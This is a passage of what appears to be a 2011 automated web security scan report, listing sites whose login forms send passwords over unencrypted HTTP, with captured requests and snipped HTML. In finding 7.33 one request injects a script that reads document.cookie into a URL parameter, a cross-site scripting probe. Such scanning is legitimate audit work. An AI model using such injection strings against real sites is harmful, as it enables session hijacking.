User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=cbq534lmtht3c9is84ch86alh1; swcms_messages=a%3A1%3A%7Bi%3A1%3Ba%3A1%3A%7Bs%3A4%3A%5C%22time%5C%22%3Bi%3A1296999543%3B%7D%7D; __gads=ID=d7dc9664002f3c4e:T=1296999550:S=ALNI_MZNjYniXih7H0A04asfHG6rtAHkcQ; __utma_a2a=102662753.1328556516.1296999590.1296999590.1296999590.1; __utmz=166313915.1296999622.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/48; __utma=166313915.1926595520.1296999588.1296999588.1296999588.1; __utmc=166313915; __utmb=166313915.1.10.1296999588; __qca=P0-1530362343-1296999621767
Content-Length: 97

reg_username=username&reg_email=email&reg_password=password&submit=Sign+up+now%21&regfrom=slideup

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:39:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18500

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<hea
...[SNIP]...
<div id="login" class="featurebox">
<form action="/login" method="post">
<p>
...[SNIP]...
<p><input type="password" name="password" class="login" tabindex="41" /><label for="password">
...[SNIP]...

7.19. http://tipd.com/register previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tipd.com
Path:	/register

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://tipd.com/register

The form contains the following password fields:

reg_password
reg_password2

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:39:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18500

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<hea
...[SNIP]...
</p>

   <form action="/register" method="post" id="thisform">
       <p>
...[SNIP]...
</label>
                       <input type="password" class="text_input" id="reg_password" name="reg_password" value="password" size="25" tabindex="34"/>
       </p>
...[SNIP]...
</label>
           <input type="password" class="text_input" id="reg_verify" name="reg_password2" value="password" size="25" tabindex="35"/>
       </p>
...[SNIP]...

7.20. http://unalog.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://unalog.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://unalog.com/login/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: unalog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:49 GMT
Server: Apache
Expires: Sat, 05 Feb 2011 22:43:01 GMT
Vary: Cookie,Accept-Encoding
Last-Modified: Sat, 05 Feb 2011 22:38:01 GMT
ETag: "73c782c6bc306be430973b406283c17e"
Cache-Control: max-age=300
Set-Cookie: csrftoken=ac1e05ab7cd83b14b6dda0b829643047; Max-Age=31449600; Path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 40754

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>

<title>unalog:
...[SNIP]...
<td style='color:#eee;' align='right' valign='bottom'>


<form id='loginform' action='/login/' method='post'>
<div style='display:none'>
...[SNIP]...
<input name='username' type='text' size='8' />
        pass <input name='password' type='password' size='8' />
        <input type='submit' name='login' value='login' />
...[SNIP]...

7.21. http://vodpod.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://vodpod.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://vodpod.com/site/login

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: vodpod.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.8.50
Date: Sat, 05 Feb 2011 22:41:50 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Set-Cookie: _vodpod_session=BAh7BzoNa21fcXVldWVbADoPc2Vzc2lvbl9pZCIlMzdmZTE1ODhlYTMwOTU4NjQ4NjYzYmVhZTA2ODFiZDk%3D--8aa84a60618c509dc1cfcb88d554fecb0caa5d77; path=/; expires=Tue, 01-Jan-2030 06:00:00 GMT; HttpOnly
Status: 200
ETag: "9562b64a9f1a18bb37a9c789ca9d17d5"
X-Runtime: 63
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 54042
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!--[if IE 7
...[SNIP]...
</ul>

<form method="post" class="form-tight" action="/site/login">
<input id="video_id" name="video_id" type="hidden" />
...[SNIP]...
<div>
<input type="password" tabindex="2" size="30" name="password" id="user_password" class="type_text field text medium">
</div>
...[SNIP]...

7.22. http://www.arto.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.arto.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.arto.com/?rewrite=%2fsection%2ffrontpage%2f

The form contains the following password field:

ctl00$ctl00$Main$SiteTopBar$ArtoLoginBox$PasswordTextbox

Request

GET / HTTP/1.1
Host: www.arto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=bsrlzrobu3ejklnm122fgroa; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:01:04 GMT
Connection: close
Content-Length: 69443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<body id="BodyTag" class=" defaultPage ">
<form method="post" action="?rewrite=%2fsection%2ffrontpage%2f" id="aspnetForm">
<div class="aspNetHidden">
...[SNIP]...
</span>
<input name="ctl00$ctl00$Main$SiteTopBar$ArtoLoginBox$PasswordTextbox" type="password" maxlength="20" id="Main_SiteTopBar_ArtoLoginBox_PasswordTextbox" tabindex="2" class="navInput" size="13" /> <span>
...[SNIP]...

7.23. http://www.bibsonomy.org/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.bibsonomy.org
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.bibsonomy.org/login_internal

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.bibsonomy.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:30 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Cache-Control: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en
Via: 1.1 www.bibsonomy.org, 1.1 www.bibsonomy.org
X-Pingback: http://scraper.bibsonomy.org/xmlrpc
Set-Cookie: JSESSIONID=69F28CAB61CBF1AC490EAB83BB7E82F5; Path=/
Connection: close
Content-Length: 61584

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; cha
...[SNIP]...
<div id="headLogin1" class="headlogin loginVisible"><form id="command" action="/login_internal" method="POST"><input tabindex="1" id="un" name="username" size="15" type="text"/>
...[SNIP]...
</span><input tabindex="2" autocomplete="off" id="pw" style="width:150px; position:absolute;" name="password" size="15" type="password"/><input autocomplete="off" style="position:relative;" name="" id="pw_form_copy" type="text"/>
...[SNIP]...

7.24. http://www.coe.gatech.edu/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coe.gatech.edu
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.coe.gatech.edu/home?destination=home

The form contains the following password field:

pass

Request

GET / HTTP/1.1
Host: www.coe.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:46 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.13
ETag: "cd5e8abd80fd03f2c8d32b33e06270c9"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Set-Cookie: SESSe21231bc09705de79a97f2d6b2e890fb=645k56n5kokbe2trg1b1r6h6e7; expires=Tue, 01-Mar-2011 01:27:06 GMT; path=/; domain=.coe.gatech.edu
Last-Modified: Fri, 04 Feb 2011 19:45:42 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 29065

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir
...[SNIP]...
<div class="content">
<form action="/home?destination=home" accept-charset="UTF-8" method="post" id="user-login-form">
<div>
...[SNIP]...
</label>
<input type="password" name="pass" id="edit-pass" maxlength="60" size="15" class="form-text required" />
</div>
...[SNIP]...

7.25. http://www.connotea.org/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.connotea.org
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.connotea.org/login

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.connotea.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:41 GMT
Server: Apache
Last-Modified: Sat, 05 Feb 2011 23:01:36 GMT
Cache-Control: max-age=3
Content-Length: 10982
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head profile="htt
...[SNIP]...
</h2>
   <form action="http://www.connotea.org/login" name="login" class="signin" method="post" enctype="application/x-www-form-urlencoded">
    <input type="hidden" name="dest" value="" />
...[SNIP]...
<br />
    <input type="password" name="password" class="field" />
    </div>
...[SNIP]...

7.26. http://www.efort.org/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.efort.org
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.efort.org/Default.aspx

The form contains the following password field:

ux_login_login$Password

Request

GET / HTTP/1.1
Host: www.efort.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:03:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=uumoe2e1iz25vh45vdtmxh55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 35341

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<body>
<form name="form1" method="post" action="Default.aspx" id="form1">
<div>
...[SNIP]...
<br />
<input name="ux_login_login$Password" type="password" id="ux_login_login_Password" onKeyPress="return submitenter(this,event)" style="width:200px;" /><br />
...[SNIP]...

7.27. http://www.facebook.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.facebook.com/

The form contains the following password field:

reg_passwd__

Request

GET / HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

7.28. http://www.jamespot.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.jamespot.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.jamespot.com/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.jamespot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:31 GMT
Server: Apache
X-Powered-By: PHP/5.2.4-2ubuntu5.7
Set-Cookie: PHPSESSID=d91b292d793955339277dc21d122a4a7; path=/
Expires: 2011-02-06 00:02:31
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14696

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<div id="form">
               <form action="http://www.jamespot.com/" method="post" name="forms_login">
                   <input type="hidden" name="action" value="login" />
...[SNIP]...
<input type="text" class="text" name="login" value="Email" onclick="if (this.value=='Email')this.value='';" />
                       <input type="password" class="text" value="nothing" onclick="this.value=''" name="password" />
                   </div>
...[SNIP]...

7.29. http://www.jazdtech.com/techdirect/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.jazdtech.com
Path:	/techdirect/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.jazdtech.com/techdirect/

The form contains the following password field:

password

Request

GET /techdirect/ HTTP/1.1
Host: www.jazdtech.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:52 GMT
Set-Cookie: JazdSession="a60b5303-7988-48d1-88b3-467a83635a2c:1297008112717"; Version=1; Max-Age=3600; Expires=Sun, 06-Feb-2011 17:01:52 GMT; Path=/
Set-Cookie: JazdTestCookie=1297008112717; Expires=Mon, 06-Feb-2012 16:01:52 GMT; Path=/
Set-Cookie: JSESSIONID=90039B3D2C4BBD4CB6E1E02847F77216; Path=/
Content-Type: text/html;charset=UTF-8
Content-Language: en
Connection: close
Content-Length: 74356

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<META name=
...[SNIP]...
</div>
<form id="login_form">
<div class="line logline">
...[SNIP]...
<div class="line logline" id="login_only">
<input type="password" name="password" tabindex=2 />
</div>
...[SNIP]...

7.30. http://www.jumptags.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.jumptags.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.jumptags.com/my/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.jumptags.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Expires: Sunday 15-May-1994 12:00:00 GMT
Date: Sat, 05 Feb 2011 22:44:27 GMT
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=145699893;expires=Mon, 28-Jan-2041 22:44:28 GMT;path=/
Set-Cookie: CFTOKEN=35433768;expires=Mon, 28-Jan-2041 22:44:28 GMT;path=/
Set-Cookie: JSESSIONID=843024df4b03d69705a621542d641822c252;path=/
Set-Cookie: JOOZIT_ISLOGGEDIN=;expires=Fri, 05-Feb-2010 22:44:28 GMT;path=/
Content-Length: 66085

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

               <!-- *** POW
...[SNIP]...
<div id="dLoginBox" style="width: 269px; float: left; margin-left: 7px; margin-bottom: 5px; padding-bottom: 5px;">
   <form action="/my/" method="post" name="l" id="l">


       <div class="signin">
...[SNIP]...
</label>
       <input type="password" name="password" id="password" style="width: 251px;">
       </div>
...[SNIP]...

7.31. http://www.kledy.co.uk/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.co.uk/login.php?return=//

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.kledy.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=mjf53qgnjfv1dhtmblks7bhvd79f4mds; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84206

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</h2>
<form action="/login.php?return=//" id="thisform" method="post">
<form action="/login.php?return=//" method="post">
...[SNIP]...
<br />
<input type="password" name="password" class="login" tabindex="11" /><br />
...[SNIP]...

7.32. http://www.kledy.de/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php?return=/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.33. http://www.kledy.de/bookmarks.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php?return=/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1

The form contains the following password field:

password

Request

GET /bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1 HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%7D

Response

7.34. http://www.kledy.de/bookmarks.php/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php?return=/bookmarks.php/

The form contains the following password field:

password

Request

GET /bookmarks.php/ HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

7.35. http://www.kledy.de/buttons.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/buttons.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php?return=/buttons.php

The form contains the following password field:

password

Request

GET /buttons.php HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

7.36. http://www.kledy.de/groups.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/groups.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php?return=/groups.php

The form contains the following password field:

password

Request

GET /groups.php HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

7.37. http://www.kledy.de/impressum.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/impressum.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php?return=/impressum.php

The form contains the following password field:

password

Request

GET /impressum.php HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

7.38. http://www.kledy.de/login.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php

The form contains the following password field:

password

Request

GET /login.php HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

7.39. http://www.kledy.de/login.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php

The form contains the following password field:

password

Request

Response

7.40. http://www.kledy.de/topusers.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/topusers.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.de/login.php?return=/topusers.php

The form contains the following password field:

password

Request

GET /topusers.php HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

7.41. http://www.kledy.es/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.es/login.php?return=//

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.kledy.es
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:36 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=kk51f6e0pv64rv1o1a3vug7kii5t15kp; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 123609

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</h2>
<form action="/login.php?return=//" id="thisform" method="post">
<form action="/login.php?return=//" method="post">
...[SNIP]...
<br />
<input type="password" name="password" class="login" tabindex="11" /><br />
...[SNIP]...

7.42. http://www.kledy.eu/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.eu
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.eu/login.php?return=/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.kledy.eu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:42 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=j483t4du3ukk5rcb6o6fn9bkh9debbj0; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
